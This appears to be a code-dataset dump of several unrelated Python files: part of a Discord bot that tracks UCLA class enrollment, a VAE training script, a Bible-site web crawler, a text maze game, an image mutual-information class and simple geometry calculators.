removed_class[\"class_name\"])\n\n def check_class(self, name_model_pair):\n \"\"\"\n Use the GetCourseSummary endpoint to, given a model, get soup for all the rest of the info about the class like class_id, instructor, enrollment data, etc.\n\n Returns list of tuples of the form (class name from class_names JSON, associated soup from that corresponding model from class_names JSON)\n \"\"\"\n name = name_model_pair[0]\n model = name_model_pair[1]\n\n params = {'search_by': 'subject', 'model': model, 'FilterFlags': filter_flags, '_': '1571869764769'}\n\n final_url = _generate_url(self.GET_COURSE_SUMMARY_URL, params)\n r = requests.get(final_url, headers=HEADERS)\n\n soup = BeautifulSoup(r.content, features=\"lxml\")\n return [(name, html) for html in soup.select(\".row-fluid.data_row.primary-row.class-info.class-not-checked\")]\n # print(self._parse_class(soup))\n\n @commands.command(brief=\"See classes you're keeping track of.\", help=\"Usage: ~see_watchlist\\n\\nSee classes you're keeping track of. If you want to remove any of these classes, you should use ~remove_class\")\n @first_time()\n async def see_watchlist(self, ctx, choices=False):\n await ctx.send(f\"Loading {ctx.message.author.name}'s watchlist...\")\n\n user_id = ctx.message.author.id\n\n result = self.db.users.find_one({\"discord_id\": user_id})\n if result is None or \"watchlist\" not in result:\n watchlist = []\n else:\n watchlist = result[\"watchlist\"]\n\n\n if len(watchlist) == 0:\n await ctx.channel.send(\n \"Looks like you don't have any classes kept track of, or your data got malformed.\\nIf the file is malformed, try clearing it with `~clear_classes`.\")\n return None, None\n\n messages = []\n\n # if my_args.get(\"mode\") == \"fast\":\n for n, my_class in enumerate(watchlist):\n # get class from public url\n params = {'t': my_class[\"term\"], 'sBy': 'classidnumber', 'id': my_class['class_id']}\n final_url = _generate_url(self.PUBLIC_RESULTS_URL, params)\n soup = BeautifulSoup(requests.get(final_url, headers=HEADERS).content, \"lxml\")\n\n message = await ctx.channel.send(embed=self._generate_embed(self._parse_class(soup), letter_choice=chr(n+65) if choices else None, watched=self._is_watching(user_id, my_class['class_id'])))\n messages.append(message)\n\n \n await ctx.send(f\"There are the classes in {ctx.message.author.name}'s watchlist.\")\n\n return watchlist, messages\n\n\n @commands.command(brief='Clear classes a user\\'s \"to watch\" list', help='Usage: ~clear_classes\\n\\nClears classes from a user\\'s \"to watch\" list, if you have added classes to it. This means you\\'ll stop recieving notifications.')\n async def clear_classes(self, ctx):\n user_id = ctx.message.author.id\n\n remove_watchlist_result = self.db.users.update_one({\"discord_id\": user_id}, {\"$set\": {\"watchlist\": []}})\n if remove_watchlist_result.modified_count > 0:\n await ctx.send(f\"Classes cleared for {ctx.message.author.name}.\")\n else:\n await ctx.send(f\"It looks like {ctx.message.author.name} didn't have any classes to clear.\")\n\n async def _get_all_users(self):\n users = {}\n for guild in self.bot.guilds:\n async for member in guild.fetch_members():\n if member.id not in users:\n users[member.id] = member\n return users\n\n @tasks.loop(seconds=15.0)\n async def check_for_change(self):\n \"\"\"\n Loop that when activated, every 15 seconds checks if a class's status has changed.\n If a class's status has changed, alert user that was watching it, and update their watchlist's data\n \n \"\"\"\n await self.bot.wait_until_ready()\n # get all bot users\n try:\n users = await self._get_all_users()\n except discord.errors.HTTPException:\n print(\"couldn't fetch all members\")\n return \n\n # iterate through all the files in the watchlist directory\n try:\n database_users = self.db.users.find()\n except errors.ServerSelectionTimeoutError:\n print(\"couldn't access database users\")\n return\n\n for user in database_users:\n\n # user_id, _ = os.path.splitext(user_watchlist)\n # json_object = self._get_user_watchlist(user_id)\n user_id = user.get(\"discord_id\")\n watchlist = user.get(\"watchlist\")\n\n if watchlist is None or user_id is None:\n # The file is not there/unreadable, no point going on to check\n break\n\n need_change = False\n\n for my_class in watchlist:\n params = {'t': my_class['term'], 'sBy': 'classidnumber', 'id': my_class['class_id']}\n final_url = _generate_url(self.PUBLIC_RESULTS_URL, params)\n soup = BeautifulSoup(requests.get(final_url, headers=HEADERS).content, \"lxml\")\n enrollment_data = soup.select_one(\"div[id$=-status_data]\").text\n enrollment_status = self._parse_enrollment_status(enrollment_data)['enrollment_status']\n\n\n # Current status changed from previously recorded status\n if enrollment_status != my_class[\"enrollment_status\"]:\n myid = f\"<@{user_id}>\"\n if int(user_id) in users:\n await users[int(user_id)].send(\n f'{myid} {my_class[\"class_name\"]} changed from **{my_class[\"enrollment_status\"]}** to **{enrollment_status}**')\n\n my_class['enrollment_status'] = enrollment_status\n need_change = True\n\n if need_change:\n # update watchlist\n result = self.db.users.update_one({\"discord_id\": user_id}, {\"$set\": {\"watchlist\": watchlist}})\n if result.modified_count == 0:\n print(f\"couldn't update database for user {user_id}\")\n\n # a_file = open(f\"speedchat_bot/ucla_data/watchlist/{user_watchlist}\", \"w\")\n # json.dump(json_object, a_file)\n # a_file.close()\n\n print(self.check_for_change.current_loop)\n\n \n\n @check_for_change.after_loop\n async def after_slow_count(self):\n print(\"stopped looking for classes\")\n\n\n @commands.command(brief=\"Only used by creator.\", help=\"Stop checking for changes in users' watchlists. It is written, only coolguy5530 can use this command.\")\n @is_owner()\n async def stop_the_count(self, ctx):\n self.check_for_change.stop()\n await self.bot.change_presence(status=discord.Status.do_not_disturb, activity=discord.Game(\"Not updating\"))\n\n\n def _needs_reload(self, term):\n\n result = self.db.class_data.find_one({'term': term})\n\n if result is None or \"class_names\" not in result or (time.time() - result[\"last_updated\"]) > 7 * 24 * 3600:\n return True\n \n else:\n return False\n\n\n\n @tasks.loop(hours=24)\n async def daily_reload(self):\n print(\"Starting daily reload\")\n # flush data\n self.current_terms = self._get_current_terms()\n\n for class_data in self.db.class_data.find(projection=['_id', 'term']):\n if \"term\" not in class_data or class_data[\"term\"] not in self.current_terms:\n self.db.class_data.delete_one({'_id': class_data['_id']})\n\n\n for term in self.current_terms:\n if self._needs_reload(term):\n print(f\"{term} needs a reload\")\n self._reload_classes(term=term)\n break # reload at most 1 class\n\n\n\n @commands.command(brief=\"Make an alias for a subject with weird abbreviation.\", help=\"Usage: ~alias cs --target COM SCI\\n\\nCreates an alias for a weird subject abbreviation, for example, if I don't like that Computer Science has to be COM SCI, I could alias 'cs' to 'COM SCI', and then use that in all future searchs, i.e. ~search_class cs 180 will work.\")\n async def alias(self, ctx, *, args):\n \"\"\"\n Registers an alias for a certain target subject, so that you can search for ~search_class CS 180\n rather than COM SCI.\n \"\"\"\n user_id = ctx.message.author.id\n\n try:\n my_args = vars(self.simple_parser.parse_args(args.split()))\n if not my_args.get(\"alias\"):\n await ctx.send(\"--alias argument is required\")\n return\n if not my_args.get(\"target\"):\n await ctx.send(\"--target argument is required\")\n return\n\n alias = ' '.join(my_args.get(\"alias\")).upper()\n target = ' '.join(my_args.get(\"target\")).upper()\n\n except SystemExit:\n await ctx.send(\"Sorry, I can't parse that. (Did you include the --target argument?)\")\n return\n\n result = self.db.users.find_one({\"discord_id\": user_id, f\"aliases.{alias}\": {\"$exists\": True}}, projection=['aliases'])\n if result:\n await ctx.send(f\"It looks like the alias {alias} is already set to {alias}->{result['aliases'][alias]}. If you want to remove this, use `~remove_alias {alias}`\")\n return \n\n result = self.db.users.update_one({\"discord_id\": user_id}, {\"$set\": {f\"aliases.{alias}\": target}}, upsert=True)\n \n if result.modified_count != 0 or result.upserted_id is not None:\n await ctx.send(f\"Alias {alias} -> {target} has been set for {ctx.message.author.name}.\")\n return\n \n await ctx.send(f\"Alias failed to be set.\")\n \n def get_aliases(self, user_id):\n result = self.db.users.find_one({\"discord_id\": user_id}, projection=['aliases'])\n if not result:\n return None\n \n return result.get(\"aliases\")\n\n def search_for_alias(self, user_id, alias):\n \"\"\"\n Tries to find if the subject given in a search command is an alias a user has set.\n \"\"\"\n aliases = self.get_aliases(user_id) or {}\n return aliases.get(alias)\n\n @commands.command(brief = \"See all the aliases you have set.\", help=\"Usage: ~see_aliases\\n\\nSee all the aliases you have set.\")\n async def see_aliases(self, ctx):\n user_id = ctx.message.author.id\n\n aliases = self.get_aliases(user_id)\n\n if aliases is None or aliases == {}:\n await ctx.send(f\"You have no aliases set. (You can set some with ~alias)\")\n return\n\n embedVar = discord.Embed(title=f\"Aliases for {ctx.message.author.name}\")\n\n for k,v in aliases.items():\n embedVar.add_field(name=k, value=v, inline=True)\n\n await ctx.send(embed=embedVar)\n\n @commands.command(brief=\"Remove an alias you've set.\", help=\"Usage: ~remove_alias CS\\n\\nUnsets an alias.\")\n async def remove_alias(self, ctx, *, args):\n\n if not args:\n await ctx.send(f\"Missing alias argument. Example usage: ~remove_alias CS\")\n \n user_id = ctx.message.author.id\n alias = args.upper()\n result = self.db.users.update_one({\"discord_id\": user_id}, {\"$unset\": {f\"aliases.{alias}\": 1}})\n if result.matched_count == 0:\n await ctx.send(\"Sorry, I don't think you have any aliases set.\")\n elif result.modified_count == 0:\n await ctx.send(f\"Sorry, it doesn't look like you have the alias {alias}. These are the aliases you have set:\")\n await self.see_aliases(ctx)\n else:\n await ctx.send(f\"Alias {alias} successfully removed.\")\n","repo_name":"mting314/speedchat-bot","sub_path":"speedchat_bot/ucla/ucla.py","file_name":"ucla.py","file_ext":"py","file_size_in_byte":51851,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"10269464276","text":"\"\"\"\nTraining procedure for VAE.\n\"\"\"\nimport os\nimport torch\nimport torchvision\nimport argparse\nimport matplotlib.pyplot as plt\nfrom tqdm import tqdm\nfrom VAE import Model\n\nfilepath = os.path.dirname(os.path.abspath(__file__))\n\n\ndef train(vae, trainloader, optimizer, device):\n \"\"\"\n :param vae: VAE model\n :param trainloader: data loader for training data\n :param optimizer: type of optimizer\n :param device: gpu or cpu\n :return: loss term for the batch of data\n \"\"\"\n vae.train() # set to training mode\n batch_loss = 0\n for n, (features, _) in enumerate(trainloader):\n features = features.to(device)\n optimizer.zero_grad()\n x_recon, mu, logvar = vae(features)\n loss = vae.loss(features, x_recon, mu=mu, logvar=logvar)\n loss.backward()\n batch_loss += loss.item()\n optimizer.step()\n return batch_loss / n\n\n\ndef test(vae, testloader, filename, epoch, device):\n \"\"\"\n :param vae: VAE model\n :param testloader: data loader for the testing data\n :param filename: filename for saving purposes\n :param epoch: number of epoch\n :param device: gpu or cpu\n :return: loss term for the testing data\n \"\"\"\n vae.eval() # set to inference mode\n with torch.no_grad():\n samples = vae.sample(100).to(device)\n a, b = samples.min(), samples.max()\n samples = (samples - a) / (b - a + 1e-10)\n torchvision.utils.save_image(torchvision.utils.make_grid(samples), filepath +\n '/samples/' + filename + 'epoch%d.png' % epoch)\n batch_loss = 0\n for n , (features, _) in enumerate(testloader):\n features = features.to(device)\n x_recon, mu, logvar = vae(features)\n loss = vae.loss(features, x_recon, mu=mu, logvar=logvar)\n batch_loss += loss.item()\n return batch_loss / n\n\n\ndef main(args):\n device = torch.device(\"cuda:0\" if torch.cuda.is_available() else \"cpu\")\n transform = torchvision.transforms.Compose([\n torchvision.transforms.ToTensor(),\n torchvision.transforms.Lambda(lambda x: x + torch.zeros_like(x).uniform_(0., 1. / 256.)), # dequantization\n torchvision.transforms.Normalize((0.,), (257. / 256.,)), # rescales to [0,1]\n\n ])\n print(f\"Running on {device}\")\n\n if args.dataset == 'mnist':\n trainset = torchvision.datasets.MNIST(root='./data/MNIST',\n train=True, download=True, transform=transform)\n trainloader = torch.utils.data.DataLoader(trainset,\n batch_size=args.batch_size, shuffle=True, num_workers=2)\n testset = torchvision.datasets.MNIST(root='./data/MNIST',\n train=False, download=True, transform=transform)\n testloader = torch.utils.data.DataLoader(testset,\n batch_size=args.batch_size, shuffle=False, num_workers=2)\n elif args.dataset == 'fashion-mnist':\n trainset = torchvision.datasets.FashionMNIST(root='~/torch/data/FashionMNIST',\n train=True, download=True, transform=transform)\n trainloader = torch.utils.data.DataLoader(trainset,\n batch_size=args.batch_size, shuffle=True, num_workers=2)\n testset = torchvision.datasets.FashionMNIST(root='./data/FashionMNIST',\n train=False, download=True, transform=transform)\n testloader = torch.utils.data.DataLoader(testset,\n batch_size=args.batch_size, shuffle=False, num_workers=2)\n else:\n raise ValueError('Not a valid dataset')\n\n model_name = '%s_' % args.dataset \\\n + 'batch%d_' % args.batch_size \\\n + 'mid%d_' % args.latent_dim \\\n + '.pt'\n\n vae = Model(latent_dim=args.latent_dim, device=device).to(device)\n optimizer = torch.optim.Adam(vae.parameters(), lr=args.lr)\n\n elbo_train = []\n elbo_test = []\n for epoch in tqdm(range(args.epochs)):\n epoch_train_loss = train(vae=vae, trainloader=trainloader, optimizer=optimizer, device=device)\n epoch_test_loss = test(vae=vae, testloader=testloader, filename=model_name, epoch=epoch, device=device)\n elbo_train.append(epoch_train_loss)\n elbo_test.append(epoch_test_loss)\n print(f\"Epoch {epoch + 1} finished: train loss: {elbo_train[epoch]}, test loss: {elbo_test[epoch]}\")\n if epoch % 10 == 0:\n torch.save(vae.state_dict(), filepath + \"/models/\" + model_name)\n\n vae.sample(args.sample_size)\n fig, ax = plt.subplots()\n ax.plot(elbo_train)\n ax.plot(elbo_test)\n ax.set_title(\"Train ELBO, Test ELBO\")\n ax.set_xlabel(\"Epoch\")\n ax.set_ylabel(\"ELBO\")\n ax.legend([\"Train ELBO\", \"Test ELBO\"])\n plt.savefig(filepath + \"/loss/\" + f\"{args.dataset}_loss.png\")\n\n\nif __name__ == '__main__':\n parser = argparse.ArgumentParser('')\n parser.add_argument('--dataset',\n help='dataset to be modeled.',\n type=str,\n default='mnist')\n parser.add_argument('--batch_size',\n help='number of images in a mini-batch.',\n type=int,\n default=128)\n parser.add_argument('--epochs',\n help='maximum number of iterations.',\n type=int,\n default=50)\n parser.add_argument('--sample_size',\n help='number of images to generate.',\n type=int,\n default=64)\n parser.add_argument('--latent-dim',\n help='.',\n type=int,\n default=100)\n parser.add_argument('--lr',\n help='initial learning rate.',\n type=float,\n default=1e-3)\n args = parser.parse_args()\n main(args)\n","repo_name":"ofek181/VAE","sub_path":"train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":6108,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"9095279185","text":"__author__ = 'alexandre s. cavalcante'\n\nimport requests, time, random, codecs\nfrom lxml import html\n\nclass MyBibleCrawler:\n\n def __init__(self):\n self.url_treated = []\n self.control_url = open('control_url.txt', \"r+\")\n\n for item in self.control_url:\n self.url_treated.append(item.strip())\n\n def getBible(self, url):\n\n self.url = url\n\n # variable to keep the structure of the website crawled\n self.page = None\n\n self.urlBible = \"https://www.wordproject.org/bibles/\" + self.url\n\n self.page = self.getPage(self.urlBible)\n\n # get the html structure\n self.tree = html.fromstring(self.page.text)\n\n # parser the page of books index\n books_index = self.tree.xpath(\"//ul[@id='maintab']/li/a/@href\")\n\n self.new_url = self.urlBible.split(\"index.htm\")\n\n if len(books_index) > 0:\n\n for item in books_index:\n\n self.getChapter( self.new_url[0] + item)\n else:\n #verify book_number_temp is empty print error\n print(\"####Fail to write the url : \" + self.urlChapter + '\\n')\n print(\"problem : test line 30 - no value for books_index\")\n print(time.strftime('%X %x %Z')+'\\n')\n\n\n def getChapter(self, urlChapter):\n\n # set the value passed has argument to be used by the function\n self.urlChapter = urlChapter\n\n #todo criar estrutura para prosseguir o crawler dos capitulos precedentes, ao inves de passar para o proximo livro\n\n # get the bible structure to crawl next chapter of the same book without exceeding its limite\n self.bibleStru = self.createBibleStruct()\n\n #get the chapter no of chapters\n self.total_chatpers = self.bibleStru[urlChapter.split('/')[5]]\n\n # get the chapter we are treating\n self.count_chapter = int(urlChapter.split('/')[5])\n\n # try all the url the chapter, before passing to next book\n while(self.total_chatpers + 1 > self.count_chapter):\n\n if not (self.urlChapter in self.url_treated):\n\n\n print(\"treating url : \" + self.urlChapter)\n print(time.strftime('%X %x %Z')+'\\n')\n\n # url not has been treated yet. proceeding treatment\n self.url_treated.append(self.urlChapter)\n self.control_url.write(self.urlChapter+'\\n')\n\n # variable to keep the structure of the website crawled\n self.pageChapter = None\n\n # get the page\n self.pageChapter = self.getPage(self.urlChapter)\n\n # get the html structure\n self.treeChapter = html.fromstring(self.pageChapter.text)\n self.crawl = True\n break\n\n else:\n print('url '+ self.urlChapter + 'has been treated already. Pass to next chapter ')\n # increment chapter\n self.count_chapter +=1\n\n #build new url\n self.urltemp = urlChapter.split('/')\n self.urlChapter = \"https://\" + \"/\".join(self.urltemp[2:6]) + '/' + str(self.count_chapter) + '.htm'\n\n self.crawl = False\n\n\n self.book_number_temp = self.urlChapter.split('/')\n\n # variable to hold the number of book that we are reading\n self.book_number = \"\"\n\n #verify if the book_number_temp is not empty\n if len(self.book_number_temp) > 0:\n # get the book number which is the 5 position of the array\n self.book_number = self.book_number_temp[5]\n else:\n #verify book_number_temp is empty print error\n print(\"####Fail to write the url : \" + self.urlChapter + '\\n')\n print(\"problem : test line 77 - no value for book_number_temp\")\n print(time.strftime('%X %x %Z')+'\\n')\n return None\n\n\n if self.crawl:\n self.file_name_temp = self.urlChapter.split('/')\n\n # get the language initial from url to build the file name\n self.file_name = \"\"\n\n #verify if the file_name_temp is not empty\n if len(self.file_name_temp) > 0:\n\n # get the file_name_temp which is the 4 position of the array\n self.file_name = self.file_name_temp[4]\n else:\n #verify file_name_temp is empty print error\n print(\"####Fail to write the url : \" + self.urlChapter + '\\n')\n print(\"problem : test line 93 - no value for file_name_temp\")\n print(time.strftime('%X %x %Z')+'\\n')\n return None\n\n # create the file to write the extracted information\n self.bible = codecs.open(\"./bibles/\" + self.file_name + self.book_number + \".txt\", \"a\", encoding=\"utf-8\")\n\n # parser the page of books index\n self.chapter = self.treeChapter.xpath(\"//div[@id='textBody']/p/text()\")\n\n # parser the page of books index\n self.title = self.treeChapter.xpath(\"//div[@class='textBody']/h3/text()\")\n\n # verify if the self.title is not empty\n if len(self.title) > 0:\n self.bible.write(str(self.title[0] + '\\n'))\n else:\n print(\"# ERROR Non Fatal to write the url : \" + self.urlChapter + '\\n')\n print(\"problem : test line 114 - no value for titre\")\n print(time.strftime('%X %x %Z')+'\\n')\n\n # verify if the self.title is not empty\n if len(self.chapter) > 0:\n # write the chapter\n for item in self.chapter:\n self.bible.write(str(item.rstrip()+'\\n'))\n else:\n print(\"# ERROR Non Fatal to write the url : \" + self.urlChapter + '\\n')\n print(\"problem : test line 122 - no value for chapter\")\n print(time.strftime('%X %x %Z')+'\\n')\n\n # close buffer\n self.bible.close()\n\n # get the number of chapters\n self.nb_of_chapter = int(self.treeChapter.xpath('count(//p[@class=\"ym-noprint\"]/a)') + 1)\n\n # get the actual chapters\n self.actual_chapter = int(self.urlChapter.split('/')[6].split('.htm')[0])\n\n print(\"Treating done for : \" + self.urlChapter)\n print(time.strftime('%X %x %Z')+'\\n')\n\n if not ( self.actual_chapter == self.nb_of_chapter):\n\n # get the next chapter index\n self.next_chapter = self.treeChapter.xpath(\"//span[@class='c1']/following-sibling::*[1]/text()\")\n\n if (len(self.next_chapter) > 0):\n\n # replace the number of the chapter in the url\n self.new_url2 = \"https://\" + \"/\".join(self.urlChapter.split(\"/\")[2:6]) + \"/\" + self.next_chapter[0].lstrip(\" \") + \".htm\"\n\n # call the function recursively\n self.getChapter(self.new_url2)\n else:\n print(\"# Possible Error : no chapter continuation found for \" + self.urlChapter)\n else:\n print(\"Book done \" + self.urlChapter)\n print(\"Going to next book\")\n\n\n def getPage(self, url):\n\n # set the value passed has argument to be used by the function\n self.url = url\n\n # variable to keep the structure of the website crawled\n self.page = None\n\n self.tentative_nb = 0\n\n # try to connect\n while(self.tentative_nb < 10):\n\n # try catch connection erros\n try:\n self.page = requests.get(self.url)\n\n if not (\"NoneType\" ==type(self.page)):\n\n\n if(self.page.status_code == 200):\n # sleep com random para dormir com intervalos diferentes\n tempo = random.random() * 17\n\n print('url sucefully crawled- ' + self.url)\n print('going to sleep... ' + str(tempo))\n time.sleep(tempo)\n\n\n break\n\n except requests.exceptions.RequestException as err:\n\n print(str(err))\n self.tentative_nb += 1\n\n # sleep before try connect again. the sleep time increases with the number of tentatives\n wait_time = 60 * self.tentative_nb\n\n print(\"Trying in ...\", wait_time)\n\n # go to sleep\n time.sleep(wait_time)\n pass\n\n self.page.encoding = 'utf-8'\n\n # return the page\n return self.page\n\n def check_status(self):\n\n # array to stock the bible not complete\n self.list_of_not_completes = []\n\n # dict to stock the number of url for each bible\n self.prefixe_count = {}\n\n #read the control file of url done\n self.control_file = open('control_url.txt', 'r')\n\n # read lines of file control file\n for item in self.control_file:\n\n # extract language prefixe of url\n self.lang_prefixe = item.split('/')[4]\n\n # verify if the language prefix is already in the dict\n if not self.lang_prefixe in self.prefixe_count:\n # if not, create the language prefix\n self.prefixe_count[self.lang_prefixe] = 1\n else:\n # prefix is already present, increment variable\n self.prefixe_count[self.lang_prefixe] +=1\n\n for item in self.prefixe_count.keys():\n\n self.total = self.prefixe_count[item]\n\n # verify if the prefix is not complete\n if self.total < 1189:\n self.list_of_not_completes.append(item)\n\n return self.list_of_not_completes\n\n\n def createBibleStruct(self):\n\n self.bibleStru = open('model_bible.txt', 'r')\n\n self.chapter = {}\n\n for item in self.bibleStru:\n\n if item.split('/')[5] in self.chapter:\n self.chapter[item.split('/')[5]] +=1\n else:\n self.chapter[item.split('/')[5]] = 1\n\n return self.chapter\n\n\n# url start\nurl = \"https://www.wordproject.org/bibles/index.htm\"\n\n# variable to keep the structure of the website crawled\npage = None\n\ntentative_nb = 0\nwhile(tentative_nb < 10):\n\n # try catch connection erros\n try:\n page = requests.get(url)\n\n if not (\"NoneType\" ==type(page)):\n break\n\n except requests.exceptions.RequestException as err:\n tentative_nb += 1\n\n # sleep before try connect again. the sleep time increases with the number of tentatives\n time.sleep(60 * tentative_nb)\n pass\n print(\"erro no request\")\n\n\n# get the html structure\ntree = html.fromstring(page.text)\n\n# obtain the bible index\nbible_index = tree.xpath(\"//ul[@id='maintab']/li/a/@href\")\n\ncrawler = MyBibleCrawler()\nnot_completes = crawler.check_status()\ncrawler.createBibleStruct()\n\n\n# iterate over bible_index to crawl all the bibles\nfor item in bible_index:\n\n if item.split('/')[0] in not_completes:\n\n print(\"treating Bible - \" + item)\n crawler.getBible(str(item))\n\n # sleep com random para dormir com intervalos diferentes\n tempo = random.random() * 17\n\n print('\\n Dormindo ' + str(tempo))\n time.sleep(tempo)\n","repo_name":"ascavalcante80/identifier_langue","sub_path":"script_python/crawler_bibles/genericCrawler2.0.py","file_name":"genericCrawler2.0.py","file_ext":"py","file_size_in_byte":11304,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"7"} +{"seq_id":"28108411789","text":"#### Labyrinth ####\n### A text based maze game written for a school project ###\n### (c) Jacob Warring Eytle 2012 ###\n## http://www.fruitbowlstudios.blogspot.com/p/about-me.html ##\n\n#defines the entire game, contains functions within functions - handy.\ndef game():\n#each room is defined in here; working backwards, it has too. Discovered that the hard way.\n\n def room4():\n print (\"\\nyaddayaddayadda\")\n\n def room3():\n print (\"\\nIn front of you, the stream widens into a gushing river\",\n \"towards the South, before falling over a dark ledge into a ravine that seems to\",\n \"stretch on for ever! A small rowing boat is straining against\",\n \"a rope. Will you get in the boat and go South down the waterfall,\",\n \"or will you go back West and try to find another route?\")\n\n rinput = input(\"N, S, E, W?: \").upper()\n if rinput == 'N':\n print (\"You walk into a wall!\")\n elif rinput == 'S':\n room4()\n elif rinput == 'E':\n print (\"You walk into a wall!\")\n elif rinput == 'W':\n print (\"You walk back into the previous corridor.\")\n room2()\n\n def room2():\n print (\"\\nLooking around, you see a dank corridor, with walls of\",\n \"patterened green marble, covered with slimey moss. There are torches\",\n \"on the wall which cast flickering shadows of you all around. A small\",\n \"underground stream gushes past in a deep gouge in the rock,\",\n \"heading towards the Eastern exit. The roaring sound is louder\",\n \"here. There are exits behind you, to the West, and in front of you,\",\n \"to the East.\")\n\n rinput = input(\"N, S, E, W?: \").upper()\n if rinput == 'N':\n print (\"You walk into a wall!\")\n elif rinput == 'S':\n print (\"You walk into a wall!\")\n elif rinput == 'E':\n room3()\n elif rinput == 'W':\n print (\"\\nYou walk back into the previous room.\")\n room1()\n\n def room1():\n print (\"\\nYou're in a dark cave, which is only illuminated\",\n \"by glowing lichen on the walls. There is no exit behind\",\n \"you, you're trapped. There are exits East and South.\",\n \"There are stalagtites hanging down from the ceiling,\",\n \"and a constant drip of water trickling down the walls.\",\n \"To the East you can hear a deep roar. To the South is silence.\",\n \"Which way will you go?\")\n\n rinput = input(\"N, S, E, W?: \").upper()\n if rinput == 'E':\n room2()\n elif rinput == 'W':\n print (\"\\n you walk into a wall!\")\n elif rinput == 'S':\n print (\"Placeholder\")\n elif rinput == 'N':\n print (\"You walk into a wall\")\n#The code prints room1, which kicks off the whole game.\n room1()\n\n#the function of the readme for the game. Probably will be re-written, just a placeholder for now.\ndef readme():\n print (\"\\nHey! I'm the readme file for this project. \",\n \"This is (as you probably know!) a \",\n \"basic text-based maze game written in \",\n \"Python3. The game is fairly simple. Commands\",\n \"are just North, South, East or \",\n \"West - N, S, E, W. You can view this at any \",\n \"time by typing \\\"Help\\\"\")\n#the menu itself now. I'm actually thinking I might just add another function for the menu to run off.\nprint (\"Menu\")\nprint (\"Play, Help, Quit\")\nrinput = input(\"Enter one of the options:\").upper()\n\nif rinput == 'HELP':\n readme()\n\nelif rinput == 'QUIT':\n print (\"\\nBye!\")\n\nelif rinput == 'PLAY':\n game()\n\n","repo_name":"mang0/Random","sub_path":"labyrinth.py","file_name":"labyrinth.py","file_ext":"py","file_size_in_byte":3598,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"1347503473","text":"import numpy as np\nfrom PIL import Image as PImage, ImageOps, ImageFilter\nimport sys\nimport matplotlib.pyplot as plt\nimport random\nfrom skimage.util import random_noise\n\nclass Image:\n def __init__(self, image):\n \"\"\"\n Custom image class for wrapping the histograms and mutual_information calculations\n img_path : path to the image\n \"\"\"\n if type(image) == Image:\n self.image = image.image\n elif type(image) == PImage.Image:\n self.image = image\n elif isinstance(image, str):\n self.image = PImage.open(image)\n else:\n self.image = PImage.fromarray(image)\n\n self.numpy = np.array(self.image)\n self.shape = self.numpy.shape\n\n \n\n def split_into_rgb(self):\n \"\"\"\n Splits image into three color channels: R,G,B\n \"\"\"\n red, green, blue = self.image.split()\n return Image(red), Image(green), Image(blue)\n\n def hist(self, bin_size):\n \"\"\"\n Returns 1D histogram of the image\n \"\"\"\n return np.histogram(np.ravel(self.image), bins=bin_size)\n\n def hist2D(self, other_image, bin_size, log=False):\n \"\"\"\n Returns 2D histogram of the image with another image\n \"\"\"\n hist2D, x_edges, y_edges = np.histogram2d(np.ravel(self.image), np.ravel(other_image.image), bins=bin_size)\n if not log:\n return hist2D, x_edges, y_edges\n else:\n log_hist2D = np.zeros(hist2D.shape)\n log_hist2D[hist2D > 0] = np.log(hist2D[hist2D > 0])\n return log_hist2D, x_edges, y_edges\n\n def mutual_information(self, cimage, bin_size):\n \"\"\"\n Computes mutual information between self image and cimage with a histogram of bin_size \n \"\"\"\n # calculate the histogram\n hist, _, _ = self.hist2D(cimage, bin_size)\n\n # calculate the probabilities\n pxy = hist / np.sum(hist)\n # marginal probabilities\n px = np.sum(pxy, axis=1)\n py = np.sum(pxy, axis=0)\n \n px_times_py = px[:, None] * py[None, :]\n\n non_zeros = pxy > 0\n\n return -1 * np.sum(pxy[non_zeros] * np.log(pxy[non_zeros] / px_times_py[non_zeros]))\n\n def crop(self, box, black_border=False):\n \"\"\"\n Crop pixels according to offset provided by box\n \"\"\"\n height, width = self.shape\n cropped = self.image.crop(box)\n if black_border:\n return Image(ImageOps.pad(cropped, (width, height)))\n else:\n return Image(cropped)\n\n def translate_x(self, offset_x, new_shape):\n \"\"\"\n Translate self image by offset_x resulting in shape new_shape\n \"\"\"\n new_height, new_width = new_shape\n return Image(self.image.transform((new_width, new_height), PImage.AFFINE, data=[1,0,offset_x,0,1,0]))\n\n def gaussian_noise(self, seed, var):\n \"\"\"\n Add Gaussian noise to image with variance var and random noise taking seed value seed\n \"\"\"\n # function to add noise with given mean and stddev\n randomImage = random_noise(self.numpy, mode=\"gaussian\", seed=seed, clip=True, mean=0, var=var)\n\n return Image((randomImage * 255).astype(np.uint8))\n","repo_name":"iyush/imgproc","sub_path":"mutual_information/src/Image.py","file_name":"Image.py","file_ext":"py","file_size_in_byte":3243,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"19529945147","text":"# from Lesson_four import sum_n\n# a=int(input())\n# b=int(input())\n# print(sum_n(a,b))\n\n# from Lesson_four import calendar_check\n# x = int(input('Введите целое число от 1 до 12:'))\n# y = 0\n# y = calendar_check(x)\n# print(y)\n\nfrom figures.circle import perimeter_circle, square_circle\n\nr = int(input('Введите радиус:'))\np = perimeter_circle(r)\ns = square_circle(r)\nprint (f\"Периметр круга = {p} мм\")\nprint (f\"Площадь круга = {s} мм2\")\n\nfrom figures.triangle import perimeter_triangle, square_triangle\n\na = int(input('Введите длину первой стороны треугольника:'))\nb = int(input('Введите длину второй стороны треугольника:'))\nc = int(input('Введите длину третьей стороны треугольника:'))\nx = perimeter_triangle(a,b,c)\ny = square_triangle(a,b,c)\nprint (f\"Периметр треугодника = {x} мм\")\nprint (f\"Площадь круга = {y} мм2\")\n\nfrom figures.rectangle import perimeter_rectangle, square_rectangle\n\na = int(input('Введите длину первой стороны прямоугольника:'))\nb = int(input('Введите длину второй стороны прямоугольника:'))\nq = perimeter_rectangle(a,b)\nw = square_rectangle(a,b)\nprint (f\"Периметр треугодника = {q} мм\")\nprint (f\"Площадь круга = {w} мм2\")","repo_name":"EgorZaharov/Level-Up","sub_path":"Lesson_four/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1466,"program_lang":"python","lang":"ru","doc_type":"code","stars":1,"dataset":"github-code","pt":"7"} +{"seq_id":"24732063666","text":"# 